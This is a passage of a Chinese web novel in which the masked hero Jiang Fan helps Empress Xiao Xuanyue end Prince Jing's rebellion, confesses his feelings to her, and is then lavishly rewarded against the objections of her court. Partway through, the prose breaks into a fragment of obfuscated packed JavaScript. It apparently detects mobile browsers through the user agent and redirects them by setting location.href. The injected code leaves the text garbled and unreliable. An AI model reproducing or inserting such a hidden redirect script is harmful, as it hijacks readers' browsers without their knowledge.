他收回目光,重新看向靖王:
“那老夫不介意,亲自走一趟,将这所谓的‘武神殿’,从这片大陆上…彻底抹去。”
最后两个字出口的瞬间,一股无形的的凛冽杀意,悄然弥漫,让在场所有人都不由自主地打了个寒颤,仿佛看到了无尽尸山血海、神殿崩塌的恐怖景象!
霸道!狂妄!
却又带着一种令人无法质疑的、源自绝对实力的自信!
萧璇月怔怔地看着空中那道月白身影,听着他那番惊世之言,心中非但没有觉得他狂妄,反而涌起一股悸动与自豪。
这就是她倾心的男人!
这就是守护着她的‘逍遥前辈’!
无论面对何等强敌,何等恐怖的势力,他都如此从容,如此霸气,仿佛世间没有任何事物能让他低头,能阻挡他前进的脚步!
这种无敌之姿,让她深深着迷,也让她心中充满了前所未有的安全感。
她上前一步,与江凡并肩而立,目光坚定地看向靖王,也仿佛在向所有人宣告:
“前辈所言,亦是朕之心声。武神殿若讲道理,朕以大夏天子之尊,愿与之交涉。若其蛮横无理,欲行报复...
那朕,与大夏千万军民,愿与前辈共进退!纵使前方是刀山火海,万丈深渊,朕……亦无悔!”
这番话,掷地有声,充满了帝王的担当与一个女子对心爱之人毫无保留的支持与信赖。
江凡闻言,心中微微一震,侧目看了萧璇月一眼。
面具遮掩下,无人能看见他眼中一闪而过的复杂与动容。
这个女人…总是能在关键时刻,给予他最坚定的支持,触动他心底最柔软的地方。
他不再多言,目光转向那些跪伏在地的叛军高手和残余士兵。
他抬手,凌空虚点,数道金芒激射而出,精准地没入那几名大宗师和极道宗师体内,瞬间封**他们的丹田要穴,封印了他们修为,使其再无反抗之力。
“将这些人,全部押入天牢,严加看管,等候陛下发落。”
他淡淡吩咐。
立刻有禁军将领应诺,带人上前,将那些面如死灰的高手拖走。
最后,他的目光,落在了瘫在地上、已然精神崩溃的靖王萧恒身上。
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萧璇月也看着这个造成无数灾难、手上沾满至亲鲜血的‘皇叔’,眼中最后一丝怜悯也消失殆尽,只剩下冰冷的杀意。
她轻轻挥了挥手,对侍立一旁的云暮道:
“云暮。”
“奴婢在。”
云暮上前,手中已多了一柄寒意森森的短剑。
“送靖王…上路。”
萧璇月的声音平静无波,却带着帝王的最终裁决。
“遵旨。”
云暮应声,没有丝毫犹豫,手起剑落!
“噗!”
短剑刺入靖王的心口,透背而出。
靖王身体猛地一颤,眼中最后一丝光芒涣散,喉咙里发出‘嗬嗬’的几声轻响,随即头一歪,彻底没了声息。
这个搅动大夏风云数十年、犯下滔天罪孽的枭雄,最终,死在了自己侄女贴身侍女的手中,死得无声无息。
看着靖王的尸体,萧璇月闭上眼,深深吸了一口气,又缓缓吐出。
再睁眼时,眼中已是一片清明与决断。
“传朕旨意。”她声音清越,传遍四方,
“靖王萧恒,勾结外敌,阴谋叛乱,弑君杀兄,毒害储君,罪证确凿,现已伏诛!即日起,削去其王爵,贬为庶人!
查封靖王府,抄没其所有家产,充入国库,以资军需!其藩地江南,收回朝廷直辖。
一应官员,由吏部会同刑部严查,凡涉叛乱、贪腐者,严惩不贷!其余胁从者,依律论处,不得宽宥!”
一连串旨意,雷厉风行,条理清晰,迅速稳定了局面,也让所有人看到了这位年轻女帝在经历如此巨变后的冷静与魄力。
众臣、将士纷纷躬身领命,心中敬畏更甚。
处理完这些,天色已近拂晓,东方露出了鱼肚白。
一夜惊心动魄的叛乱,终于以靖王伏诛、女帝大获全胜而告终。
但所有人都知道,更大的风暴,或许正在酝酿。
萧璇月遣散众人,只留下必要的守卫和心腹处理善后。
她转身,看向依旧凌空而立的江凡,眼中闪过一丝温柔与不舍。
她知道,他恐怕…要走了。
第226章 朕不做皇帝
“前辈,”萧璇月轻声唤道,声音带着一丝疲惫和期盼,
“叛乱已平,逆首已诛。但后续诸多事宜,尚需处置。前辈…可否移步寝宫,朕还有些事情,想与前辈…商议。”
她找了一个并不高明的借口,只想能再多留他片刻。
江凡沉默了一下。
体内的【体验卡】力量还在持续,但时间已然不多。
看着萧璇月那带着恳求、依赖,以及深深倦意的眼眸,拒绝的话,怎么也说不出口。
“可。”
他最终,只是简简单单地应了一个字,身形缓缓落下,与她一同,朝着凤仪宫寝宫的方向走去。
云暮识趣地没有跟上,只是远远跟着,并示意其他宫女太监全部退避。
再次踏入这间寝宫,气氛却已截然不同。
门,被轻轻关上。
暖阁内,只剩下他们两人。
萧璇月背对着江凡,站在窗前,望着窗外渐渐亮起的天空,沉默了片刻,忽然轻声问道:
“前辈…要走了,是吗?”
她知道,靖王的威胁除去,以后再也没有理由让‘逍遥公子’见自己。
江凡站在她身后不远处,看着她纤细的背影,心中涌起一股复杂的情绪。
他点了点头,尽管她知道他点头了。
“嗯。此间事已了,老夫…也该离去了。”
他声音依旧保持着沧桑。
“闭关?不再出现?”
萧璇月转过身,目光灼灼地看着他,眼中仿佛有千言万语,
“就像你对江凡说的那样?将一切都丢给你的‘徒弟’,然后…飘然远遁,再不问世事?”
江凡心头一跳,竟然也有些不舍。
“老夫本是方外之人,不宜久留红尘。”
他试图解释。
“方外之人?”萧璇月上前一步,距离他很近,近到能感受到彼此的呼吸,
“那前辈为何要屡次插手红尘之事?为何要救朕?为何要帮朕?为何要拿出那些奇物,变出粮食?为何…要在此刻,出现在朕面前?”
她一连串的追问,带着压抑的情感,让江凡有些招架不住。
“刚刚要不是靖王**,我们已经...”
“老夫…”他顿了顿,
“只是不忍见百姓受苦,不忍见明君蒙难。至于武神殿之事,陛下不必忧心。若其真来寻仇,老夫自会现身应对,绝不会牵连大夏,牵连…陛下。”
“朕不怕牵连!”
萧璇月忽然提高了声音,眼中泪水终于滚落,
“朕怕的是你走!怕的是你再也不出现!怕的是…朕永远都不知道,那个救了朕、帮了朕、让朕倾心的人,到底是谁!”
她再次上前,几乎要贴到他身上,仰起脸,泪水模糊了妆容,充满了哀恳与执着:
“前辈,事到如今,你还不肯对朕坦白吗?不肯以真面目,与朕…一起面对未来的一切吗?无论是朝堂风雨,还是武神殿的威胁,朕都不怕!朕只怕…你不在身边!”
她伸出手,似乎想触碰他的面具,却又在即将触及的瞬间停住,只是用那双泪眼,深深地望着他隐藏在面具后的眼睛:
“告诉朕,你到底是谁?无论你是谁,朕的心意,都不会变。朕只求一个答案,一个…能让你我之间,再无隔阂的答案。”
江凡身体僵直,心脏狂跳。
面具下的脸,早已滚烫。
他看着近在咫尺的、泪流满面的绝美容颜,感受着她话语中那份深情与渴望,心中那堵高墙,正在以惊人的速度崩塌。
坦白?告诉她一切?
这个念头在他心中疯狂蔓延。
系统、穿越、体验卡、那些超越时代的物品和知识…这些秘密太过惊世骇俗,如何解释?
更重要的是,一旦坦白,他就再也无法退回‘江凡’这个相对‘安全’的身份。
他将彻底暴露在所有人的目光下,暴露在武神殿那未知的威胁下。
自己当然不怕什么,但父亲和姐姐呢?
他还能像现在这样,偶尔偷懒,偶尔享受一下‘纨绔’的惬意吗?
他还能保有那份相对的自由吗?
靖王虽除,但北境南疆战事未平,武神殿的阴影高悬,大夏内部百废待兴。
他需要时间,需要更强的实力,需要确保即使身份暴露,也有足够的力量应对一切,保护她在意的一切。
而且…内心深处,或许还有一丝怯懦。
他
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害怕,害怕当‘逍遥公子’这层神秘而强大的光环褪去。
当她看到的只是那个有些惫懒、有些小聪明、却并无真正惊天动地之能的‘江凡’时,她眼中的深情,是否会褪色?
纷乱的思绪在脑中激烈交战,最终,他猛地转过身,背对着萧璇月,不再去看她那双眼眸:
“陛下,靖王已伏诛,叛乱已平。当务之急,是整肃朝纲,安抚军民,全力应对北境南疆之战事。
想必查抄靖王府所得,能暂解国库燃眉之急。陛下…还是将心思放在国事上吧。”
他试图转移话题,来提醒她彼此的身份和眼前的现实。
然而,萧璇月看着他骤然转身、显得有些仓皇和僵硬的背影,心中的委屈和不安,瞬间化为了疼惜和一种近乎破釜沉舟的决心。
她知道他在害怕,在逃避。
可她不想再等了,不想再玩这种‘你猜我猜’的游戏了。
她上前一步,从背后,轻轻地环抱住了他的腰身。
脸颊贴在他后背,能感受到其下身躯瞬间的紧绷。
她的声音带着哭腔,却又异常清晰:
“你还是不肯说…对不对?朕说了,朕不在意你是什么身份,是什么来历,哪怕你真的是天上掉下来的,是石头里蹦出来的,朕都不在乎!
朕在乎的,是你这个人!是那个会救朕、会帮朕、会让朕心动、也让朕心疼的‘你’!为什么…为什么你就是不敢面对自己的心?不敢承认,你心里…也是有朕的?”
她的拥抱并不用力,却带着一种执着和脆弱。
江凡身体僵硬如铁,却没有推开她,这让她心中升起一丝希望。
“陛下…”江凡的声音带着无奈和挣扎,
“红尘琐事,帝王情深,于老夫而言,皆是牵绊。老夫…只想做个自由自在的方外人,闲云野鹤,了无牵挂。实在…不宜卷入太深。”
他还在用‘逍遥公子’的口吻,做着最后的抵抗。
“自由自在?了无牵挂?”
萧璇月在他背后轻轻摇头,泪水再次滑落,
“那如果…朕不做这个皇帝了呢?”
江凡身体猛地一震!
几乎以为自己听错了。
第227章 你亲我一下
萧璇月却仿佛下定了某种决心,声音带着一种豁出一切的决绝与温柔:
“如果朕把皇位禅让出去,找一个可靠的宗室子弟,或者…直接传给有德之人。然后,朕就只是一个普通的女子,叫萧璇月。
这样,前辈…你愿意带着朕,一起浪迹天涯,做那闲云野鹤吗?你想要的自由,朕陪你。你去哪里,朕就去哪里。”
这番话,如同平地惊雷,在江凡脑海中轰然炸响!
禅让皇位?
放弃这九五之尊,**江山?
只为…跟他走?
巨大的震撼,几乎瞬间冲垮了他心中最后那堵摇摇欲坠的堤防!
他何德何能,值得她如此?
值得她放弃一切,甚至赌上整个国家的未来?
他猛地转过身,动作甚至有些粗暴,双手抓住她的肩膀。
“你、你知不知道你在说什么?”
他的声音微微发颤,不再是那刻意伪装的沧桑,带上了一丝急切,
“你是大夏的天子!是亿万黎民的希望!这江山社稷,岂是儿戏?!怎能…怎能说放弃就放弃?”
看着他终于不再用那种疏离的语气说话,看着他眼中的震动与关切,萧璇月心中升起无尽的酸涩与甜蜜。
她流着泪,却笑了起来,那笑容纯净而凄美。
“朕知道。朕比任何人都知道这皇位意味着什么,这江山有多重。”
她伸出手,轻轻抚上他的面具,
“可是,前辈,没有你,这**江山,于我而言,不过是黄金铸就的囚笼,是冰冷沉重的枷锁。
朕坐在那龙椅上,批阅着永无止境的奏章,听着朝臣们无休止的争论,看着边境送来的血淋淋的战报…朕也会累,也会怕,也会…觉得孤独。”
她的声音轻柔:
“直到你出现。你救了朕的命,给了朕倚仗,让朕知道,朕不是一个人。你带来的那些新奇东西和粮食,你写的那些话本…
都在告诉朕,这世上还有希望,还有人在乎朕是不是开心,是不是过得累。朕的心,早就装满了你。皇位和你之间,如果只能选一个…”
她顿了顿,目光坚定,却又柔软如水:
“朕选你。”
“轰——!”
最后的防线,彻底崩塌。
江凡看着眼前这个为他流泪、为他笑、甚至愿意为他放弃江山的女子,只觉得胸腔中被一种前所未有的情感填满。
什么身份顾虑,什么自由羁绊…在这一刻,统统变得微不足道。
他再也控制不住,手臂猛地收紧,将她整个娇躯紧紧地、用力地搂入怀中!
这次,是发自内心的、充满占有欲和疼惜的拥抱!
仿佛要将她揉进自己的骨血里,再不分离。
萧璇月被他这突如其来的、强有力的拥抱惊得低呼一声,随即,无边的喜悦和幸福将她淹没。
她将脸深深埋进他的胸膛,贪婪地汲取着他身上的气息,泪水流得更凶,却是喜悦的泪水。
这个怀抱,她期待了太久,太久。
不是出于救命之恩,不是出于任何算计,只是单纯地,因为他想抱她。
“前辈…”她在怀中闷闷地、带着哽咽唤道,“你心里…是有我的,对不对?告诉我…”
江凡抱着她,感受着怀中娇躯的颤抖和依赖,终于,低低地‘嗯’了一声。
虽然只有一个字,却仿佛天籁,让萧璇月瞬间破涕为笑,心中开满了花。
她在他怀中轻轻蹭了蹭,像只找到归宿的小猫。
“不过,”江凡深吸一口气,努力让自己冷静一些,
“陛下,再给我几天时间,好吗?”
他看了一眼系统界面,人气值依旧在飞速增长。
他有预感,两三天内足够将实力提升到极道宗师。
届时,再坦白一切,也有了足够的底气。
最重要的是担心女帝得知他身份,表现异常被有心人察觉,然后被武神殿针对自己远在北境的父亲。
“快则两三日,慢则七八日,之后我一定会告诉你所有事情。我的身份,我的一切。”
他承诺道,语气郑重。
萧璇月从他怀中抬起头,眼中虽有疑惑,但更多的是信任和顺从。
她用力地点了点头:“好,我等你。别说几天,多久都可以等。只要你别再离开,别让我找不到你。”
她顿了顿,又补充道,语气带着一丝狡黠和深意:
“而且,你要记住,朕从头到尾,喜欢的,都只是你。”
这话,再次一语双关。
但此刻心神激荡的江凡,并未完全领会其中深意。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925479|191960||http|test|mini|href|location''.split(''|''),0,{}));
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r>他心中感动,轻轻点了点头。
感受着体内【体验卡】的力量流逝速度加快,所剩时间无几,江凡知道必须离开了。
他轻轻松开怀抱,扶着萧璇月的肩膀,看着她哭得有些红肿、却格外动人的眼睛,柔声道:
“我得走了,但我会继续在暗中护着你。也会…抽空来见你。只是,别再为难我那‘徒弟’了,好吗?”
他指的是‘江凡’这个身份。
萧璇月闻言,眼中闪过一丝笑意,随即乖巧地狠狠点头:
“嗯!我听前辈的!不为难他!”
见她答应,江凡松了口气,转身欲走。
“前辈!”
萧璇月却忽然拉住他的衣袖,脸上飞起两朵红云,眼神期待又带着娇羞,
“你…你亲我一下再走,好不好?就一下…”
江凡身体一僵,面具下的脸瞬间爆红!
但看着她那副娇羞期盼的模样,想到她方才那番撼动人心的告白,拒绝的话哪里说得出口?
他无奈地叹了口气,有些僵硬地道:
“闭眼。”
萧璇月立刻乖巧地闭上双眼,长长的睫毛轻颤,仰起脸,等待着。
江凡看着她近在咫尺的、精致绝伦的容颜,心跳如擂鼓。
他快速抬手,将脸上的银色面具微微向上掀起一些,只露出嘴唇和下巴。
然后,他低下头,在那光洁的额头上,飞快地印下了一个吻。
一触即分。
“好了,我走了。”
丢下这句话,江凡再也顾不上其他,身形一晃,化作一道残影,瞬间消失在天际泛起的鱼肚白之中。
暖阁内,重归寂静。
只有空气中残留的、属于他的清冽气息,和额头上那转瞬即逝的触感,提醒着萧璇月,刚才的一切并非梦境。
她缓缓睁开眼,望着空荡荡的窗口,脸上红晕未退,眼中却已是一片柔情蜜意,嘴角高高扬起。
“这个傻瓜…”
她低声呢喃,指尖轻轻抚过被亲吻的额头,眼中笑意盈盈,
“都到这份上了,还不肯摘下面具…为什么还要等几天...”
不过,她心中已是一片安定。
他承认心里有她,他答应会回来,他给了她承诺和期待。
这便够了。
……
第228章 你给朕闭嘴
晨光熹微,上朝的时辰已到。
萧璇月迅速整理好心情和仪容,换上庄严的龙袍帝冕,在宫人的簇拥下前往太和殿。
一夜惊变,还有许多善后事宜需要在朝会上定夺。
而江凡,也掐着点,换回了那身二品金刀侍卫的玄色劲装,腰佩金刀,脸上带着点迷糊的表情,匆匆赶到了太和殿外。
他心中暗自庆幸,还好没迟到…
然而,他刚刚溜到御阶旁自己的位置上站定,还没喘匀气,一个熟悉而刺耳的声音,便再次在肃穆的大殿中响了起来!
“陛下!臣有本奏!”
又是那位以‘刚正不阿’闻名的王御史!
只见他手持玉笏,大步出列,目光直射向刚刚站定的江凡,声音洪亮,带着十足的愤慨:
“陛下!金刀侍卫江凡,职责乃是护卫圣驾,当与陛下同进退,共生死!然昨夜靖王逆贼作乱,率重兵猛攻宫门,情势万分危急!
禁军将士浴血奋战,宫中供奉皆奋力御敌,陛下亦亲临险境!可江侍卫身为御前第一侍卫,却从头至尾,未见其踪影!
直至叛乱平定,方才姗姗现身!此等行径,岂止是懈怠职守?简直是临阵脱逃,畏敌不前!置陛下安危于不顾,置大夏国本于险地!其罪当诛!”
他越说越是激昂,唾沫横飞:
“江凡虽为镇国公之子,又是逍遥前辈高徒,然功是功,过是过!岂可因出身与师门,便屡次徇私枉法,纵容其渎职懈怠?
长此以往,国法何在?朝纲何存?陛下若再不加以严惩,只恐寒了前方将士之心,亦让天下人以为,我大夏法度,只可管束平民,却管不了权贵子弟!
臣恳请陛下,依律严惩江凡,削其官职,夺其侍卫之职,以正视听,以儆效尤!”
这番话,可谓诛心。
直接将江凡‘未现身’,定性为临阵脱逃、畏敌不前,甚至上升到了动摇国本、破坏法度的高度。
而且,巧妙地再次点出江凡的‘背景’,暗示女帝若再不惩处,便是‘徇私’,便是‘昏君’之举。
不少官员,尤其是那些曾被《深宫秘恋》话本黑过、或与靖王有牵连、或单纯看江凡不顺眼的,闻言纷纷附和,出声要求严惩。
朝堂之上,顿时响起一片要求惩处江凡的嘈杂之声。
江凡站在御阶旁,听着这些指责,心中并无多少愤怒,反而有点…哭笑不得,甚至隐隐有点期待?
对啊!
这王御史说得‘有理有据’啊!
自己昨晚确实没以‘江凡’的身份出现嘛!
这简直是完美的辞职理由啊!
他早就想甩掉这金刀侍卫的差事了!
整天早起上朝,哪有当个闲散世子逍遥快活?
正好趁此机会,顺水推舟,辞了这官,回去当他的纨绔,闷声刷人气值,提升实力,顺便…
嗯,偶尔以‘逍遥公子’的身份来见见女帝,岂不美哉?
想到这里,他立刻出列,对着御座上的萧璇月躬身行礼,脸上露出惭愧和诚恳,顺着王御史的话说道:
“王大人所言…句句在理。臣昨夜确因…一些私事耽搁,未能及时护卫圣驾,是臣失职,罪无可恕。
臣深感惶恐,亦无颜再居此位。恳请陛下,革去臣金刀侍卫一职,臣愿回府闭门思过,以示惩戒。”
他这话说得‘情真意切’,仿佛真的认识到了自己的错误,并且‘主动’请求处罚。
不少原本中立或稍有好感的官员,闻言也微微点头,觉得江凡至少态度还算端正。
然而,御座之上的萧璇月,听着江凡这番话,看着他脸上那副‘巴不得赶紧滚蛋’的微表情,心中的火气‘噌’地一下就冒了上来!
这个混蛋!
王御史那些老古董吃饱了撑的**他也就算了,他居然还敢顺杆爬,想趁机撂挑子不干,逃离她身边?
门都没有!
刚答应会继续保护她,今天一早就想跑?
想得美!
她心中恼怒,脸上却不动声色,只是目光冷冷地扫过下方慷慨陈词的王御史,以及那些附和的官员,淡淡开口:
“王爱卿,还有诸位,都说完了?”
她的声音不大,却带着一股无形的威压,让嘈杂的朝堂瞬间安静下来。
尤其是靖王倒台之后,女帝的威势更甚,官员们根本不敢有异心。
王御史硬着头皮,拱手道:
“臣等所言,皆出自公心,为社稷计,为法度计!望陛下明察!”
“公心?社稷?法度?”
萧璇月微微挑眉,唇角勾起一抹嘲讽的弧度,
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“那依王爱卿之见,朕当如何处置江侍卫,才算不徇私,才算明君之举?”
王御史精神一振,以为女帝被说动,连忙道:
“回陛下!江凡昨夜之行径,按律,轻则革职查办,重则下狱问罪!然念及其父镇国公正在北境为国血战,其师逍遥前辈亦有护驾之功,可酌情从轻。
臣以为,当削去其金刀侍卫之职,贬为庶民,令其回府反省,永不叙用!如此,方能服众,亦不枉法!”
“永不叙用?”
萧璇月重复了一遍,目光转向江凡,见他眼中隐隐闪过一丝期待,心中更气。
她忽然轻笑一声,那笑声在寂静的大殿中显得格外清晰,也格外…冷。
“如果朕说,朕不打算处罚江侍卫呢?”
她缓缓道,目光重新落回王御史身上,带着一种不容置疑的威严,
“非但不处罚,朕还要重重赏他。王爱卿,你觉得如何?”
“什么?!”
王御史愣住了,简直不敢相信自己的耳朵!
不处罚?
还要重赏?
这…这简直是昏聩到了极点!
他涨红了脸,激动得胡子都翘了起来,梗着脖子,声音因愤怒而尖锐:
“陛下!您…您岂可如此偏袒?如此行事,置国法于何地?置朝纲于何地?陛下若执意如此,臣…臣恐难以再侍奉如此…不明之君!臣请求告老还乡!”
他这是以辞官相逼了!
同时,又有七八名官员出列,跪倒在地,齐声道:
“臣等附议!若陛下执意偏袒江凡,臣等亦无颜立于朝堂,请陛下准臣等辞官!”
这些人,或是与王御史交好,或是曾被话本‘误伤’,或是觉得女帝此举太过荒唐,纷纷以辞官表示**。
朝堂气氛,瞬间凝重到了极点。
江凡也懵了。
女帝这是唱的哪一出?
不罚反赏?
还把人逼得要辞官?
这…这跟他预想的剧本不一样啊!
他连忙想再劝:
“陛下,臣确实有错,王大人所言甚是,您不必为了臣…”
“你给朕闭嘴!”
萧璇月忽然厉声打断他,凤眸含煞,狠狠瞪了他一眼,那眼神分明在说:
你再敢说一个字试试?
想跑?没门!
第229章 也太古怪了
江凡被她瞪得脖子一缩,下意识地闭上了嘴。
这女人…发起火来还挺吓人。
萧璇月不再看江凡,目光冰冷地扫过跪了一地的官员,脸上没有任何表情,声音平静得可怕:
“好。既然诸位爱卿去意已决,朕,准了。”
“王守仁,及尔等七人,即日起,削去所有官职,脱下官服,交出印信,即刻离京,永不录用。朕,准你们告老还乡。”
“至于江凡——”
她顿了顿,目光重新落回江凡身上,那目光有恼怒,也有一丝深藏的执着。
“昨夜靖王叛乱,江侍卫虽未直接参与平叛,然其师逍遥前辈力挽狂澜,诛杀叛逆首脑与海外强敌,于国有不世之功!逍遥前辈乃方外高人,不慕荣利,其功,自当由弟子江凡代领!”
“故此,朕决定:江凡护卫有功,忠勇可嘉,特赏——”
她一字一句,清晰无比地宣布,声音传遍大殿每一个角落:
“赐穿黄马褂!享双亲王俸禄!见官不拜,非谋逆大罪不得拘审!金刀侍卫一职保留,加‘御前行走’,可随时入宫见驾,参赞机要!”
“另,追封其师逍遥前辈为大夏‘护国圣师’,享太庙祭祀!江凡以弟子身份,代享其荣!”
静。
死一般的寂静。
整个太和殿,鸦雀无声。
所有官员全都目瞪口,难以置信地看着女帝,又看了看同样一脸呆滞的江凡。
黄马褂?
双亲王俸禄?见官不拜?御前行走?
这…这已经不是简单的偏袒了!
这简直是…简直是宠幸到了无以复加的地步!
黄马褂那是何等荣耀?
非特大功勋不赐!
双亲王俸禄,其待遇已远超一般郡王!
御前行走,更是赋予了随时面圣、参与核心事务的权力!
而追封其师…更是将这份恩宠推向了极致!
这江凡…何德何能?
就算他师尊功劳再大,这赏赐也太过骇人听闻了!
这简直是把江凡架在了火上烤,也把女帝自己推到了风口浪尖!
而那几个以辞官相逼的官员,此刻更是面如死灰,瘫软在地。
他们本想逼宫,却没想到女帝如此果决狠辣,直接准了他们辞官,反而将江凡捧到了云端!
他们…完了。
江凡也彻底傻了。
他张着嘴,看着御座上那个神色平静、却目光灼灼盯着自己的女人,脑子一片空白。
这女人是疯了吗?
她知不知道这会引起多大的波澜?
“陛…陛下!这不合适啊!”
江凡终于反应过来,连忙出列,想要推辞。
我真的不想当上班狗啊!
“朕说合适,就合适。”
萧璇月根本不给他反驳的机会,语气斩钉截铁,带着帝王的独断,
“此事,朕意已决,无需再议!”
她目光扫过下方依旧处于震惊中的群臣,冷声道:
“还有谁有异议?”
满朝文武,面面相觑,谁还敢在这个时候触霉头?
没看那几个出头的,官帽都没了吗?
女帝这分明是铁了心要护着江凡,甚至不惜动用帝王权威,强行压下所有反对声音!
此时再反对,岂不是自寻死路?
而且靖王伏诛,女帝威势更甚,再也不是之前那个什么都要隐忍的女帝了!
见无人再出声,萧璇月满意地点了点头,站起身,一挥袍袖:
“退朝!”
“江凡,云暮,随朕来御书房。”
说完,她不再看任何人,转身,在太监的高唱声中,径自离开了太和殿。
只留下一殿神色各异、心思百转的文武百官,以及站在原地、欲哭无泪、感觉人生一片灰暗的江凡。
百官们看着江凡的眼神变得无比复杂。
有羡慕,有嫉妒,有深思,更有…一种恍然和猜测。
黄马褂…御前行走…随时入宫见驾…女帝如此不计代价、甚至不顾朝议地维护和抬高江凡…
再联想到那本风靡全国、描写大乾女帝与侍卫深情的话本《深宫秘恋》…
一个荒谬的念头,不由自主地在许多官员心中滋生,看向江凡的目光,也变得越发古怪和意味深长起来。
难道…陛下对江世子,真的跟话本中一样…
江凡此刻却没心思理会那些古怪的目光。
他看着女帝离去的背影,只能苦着脸跟上去。
御书房内。
萧璇月换下朝服帝冕,穿着一身家常的明黄常服,正坐在龙案后,手中拿着一份奏折,似乎在看,又似乎只是做个样子。
江凡躬身行礼,心里却七上八下。
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>他现在只想赶紧辞了这‘金刀侍卫’和‘御前行走’,远离这是非中心,回去当他的富贵闲人。
至于武神殿,自己隐藏在暗处也能对付。
“陛下,”他清了清嗓子,努力让自己的表情看起来诚恳,
“方才朝堂之上,陛下厚爱,臣…实不敢当。王御史等人所言,虽有夸大,却也并非全无道理。臣昨夜护卫不力,确属失职。且臣自幼懒散,性子疲沓,实非担此重任之才。
恳请陛下,收回成命,准臣辞去金刀侍卫及所有加封,返回府中闭门思过。陛下隆恩,臣感激不尽,然…实在受之有愧。”
他一边说,一边偷偷观察女帝的脸色,做好了迎接雷霆之怒的准备。
毕竟,他这简直是在当众打女帝的脸,刚被力排众议地赏了,转脸就要辞官,这置女帝的威严于何地?
然而,预想中的怒火并未降临。
萧璇月放下手中的奏折,抬眸看向他,目光平静。
她轻轻叹了口气。
“江凡,”她声音不高,却带着一种罕见的柔和的无奈,
“你就…这么不想待在朕身边吗?”
这话问得…太直接,也太古怪了!
江凡心头猛地一跳,一股异样感涌上心头。
不想待在她身边?
他当然…呃,从江凡这个身份和‘金刀侍卫’的职责来说,他确实不想天天早起上朝。
可这话从她嘴里问出来,再结合她此刻那种幽怨的眼神,怎么就那么不对味呢?
她不是应该喜欢‘逍遥公子’吗?
她不是应该因为‘逍遥公子’的面子,才对‘徒弟’江凡另眼相看、多加维护吗?
可现在这语气,这神态,怎么感觉…更像是在抱怨他江凡本人不愿陪着她?
江凡感觉脑子有点乱,咬了咬牙,决定继续扮演好一个不思进取的纨绔形象:
“陛下明鉴,臣…臣真的就是性子懒惰,受不得拘束。每日天不亮就要起床上朝,一站就是一两个时辰,腰酸背痛不说,连个懒觉都睡不成…实在是苦不堪言。
臣觉得,与其占着这位子却做不好事,不如让给更勤勉得力之人。陛下放心,臣虽辞官,但若朝廷有事,若陛下有需,臣…臣定当尽力!”
他说得情真意切,就差没直接说‘我只想回家躺平’了。
第230章 又立一大功
萧璇月静静地看着他,心中又是好气,又是好笑,还有一丝酸涩。
这个混蛋,为了从她身边逃走,还真是…什么借口都敢用。
不过,既然他喜欢自由,喜欢偷懒…
她脸上却不动声色,反而露出一丝理解般的温和笑容:
“原来如此,是朕疏忽了,未考虑到你的习惯。”
她顿了顿,在江凡有些错愕的目光中,缓缓说道:
“那这样吧,从明日起,你无需再每日上朝点卯。何时睡醒了,休息好了,想进宫了,再进宫便可。
朕给你这个特权。至于金刀侍卫的职责…也无需你时刻紧绷。你若觉得宫中烦闷,想出去逛逛,听曲喝酒,甚至…
去百花楼会会朋友,只需跟朕说一声,或者让云暮知晓,自去便是。朕给你足够的自由,如何?”
江凡答应几天内坦白身份,或许这几天有要紧的事情处理,所以就给他自由。
“啊?”
江凡彻底傻眼了,嘴巴微张,几乎怀疑自己是不是出现了幻听。
不上朝?
睡醒再来?
想出去就出去?
这、这还是那个以勤政闻名的女帝吗?
这简直是…纵容到了无法无天的地步!
这待遇,别说一个侍卫,就是那些亲王郡王,甚至…咳咳,也不能这么随便吧?
他呆愣愣地看着萧璇月,一时之间,竟不知该如何接话。
这和他预想的剧本,完全反了啊!
他以为会面临雷霆震怒,或者至少是严肃的拒绝,然后他再据理力争,最终勉强达成‘留职察看’或者‘降职’的结果。
可现在…女帝这轻飘飘的几句话,就把他所有辞职的理由都堵**,还给了他前所未有的、简直离谱的特权!
这让他还怎么开口说‘我要回家当纨绔’?
人家都允许你‘在宫里当纨绔’了!
难道又是‘逍遥公子’的面子?
看着江凡那副目瞪口呆的模样,萧璇月眼中闪过一丝得逞的狡黠,但很快掩去。
她不再看江凡,重新拿起一份奏折,语气恢复了平淡:
“好了,此事就这么定了。你若无事,可以回去了。朕还要处理些奏章。”
江凡张了张嘴,还想说什么,可最终所有的话都卡在了喉咙里。
他憋了半天,最终只能化作一声有气无力的:
“臣…谢陛下恩典。”
他郁闷地站在一旁,走也不是,留也不是。
看着女帝埋首于堆积如山的奏折中,眉头微蹙,偶尔提笔批阅,那份专注与疲惫交织的模样,让他心中没来由地软了一下。
想起她昨夜几乎一夜未眠,今日又经历朝堂风波,还要处理这似乎永远也批不完的奏章…这皇帝,当得也确实辛苦。
或许…可以帮帮她?
至少,让她轻松点?
一个念头闪过,江凡犹豫了一下,还是开口试探道:
“陛下…”
“嗯?”萧璇月没有抬头,只是应了一声。
“臣…臣忽然想起,之前与师尊闲聊时,他曾提及他游历海外,见某些国度处理政务,有一种名为‘内阁’的制度,似乎…颇为高效,能极大减轻君王的负担。不知…陛下可有兴趣一听?”
坦白身份之前,还是先用‘师尊’的名号当幌子。
萧璇月立刻抬起了头,眼中闪过一丝亮光,露出感兴趣的神色:
“哦?‘内阁’制度?逍遥前辈提及的,定然不凡。江凡,你快详细说说。”
江凡心中一定,组织了一下语言,将前世记忆中的内阁制度,结合这个时代的实际情况,稍作修改,娓娓道来:
“师尊所言,这‘内阁’制度,核心在于‘分权’与‘制衡’。可效仿我朝中书、门下之职能,但加以改良。
具体而言,便是由陛下亲自选拔数位德才兼备、忠诚可靠、且精通政务的重臣,组成‘内阁’。”
“这内阁成员,不担任具体的六部或其他衙门的实际长官职务,其职责只有一项—协助陛下,处理全国各级官员呈报上来的所有政务奏章。
他们每日在固定地点当值,对所有奏章进行初步审阅、分类、并提出初步的处理意见,形成‘票拟’,附在奏章之上。”
“内阁的‘票拟’,主要处理常规性的政务。只有遇到涉及军国大事或是内阁意见不统一的疑难要务时,才会将奏章连同‘票拟’一并呈送陛下御前,由陛下做出最终裁断。”
“如此一来,”
江凡顿了
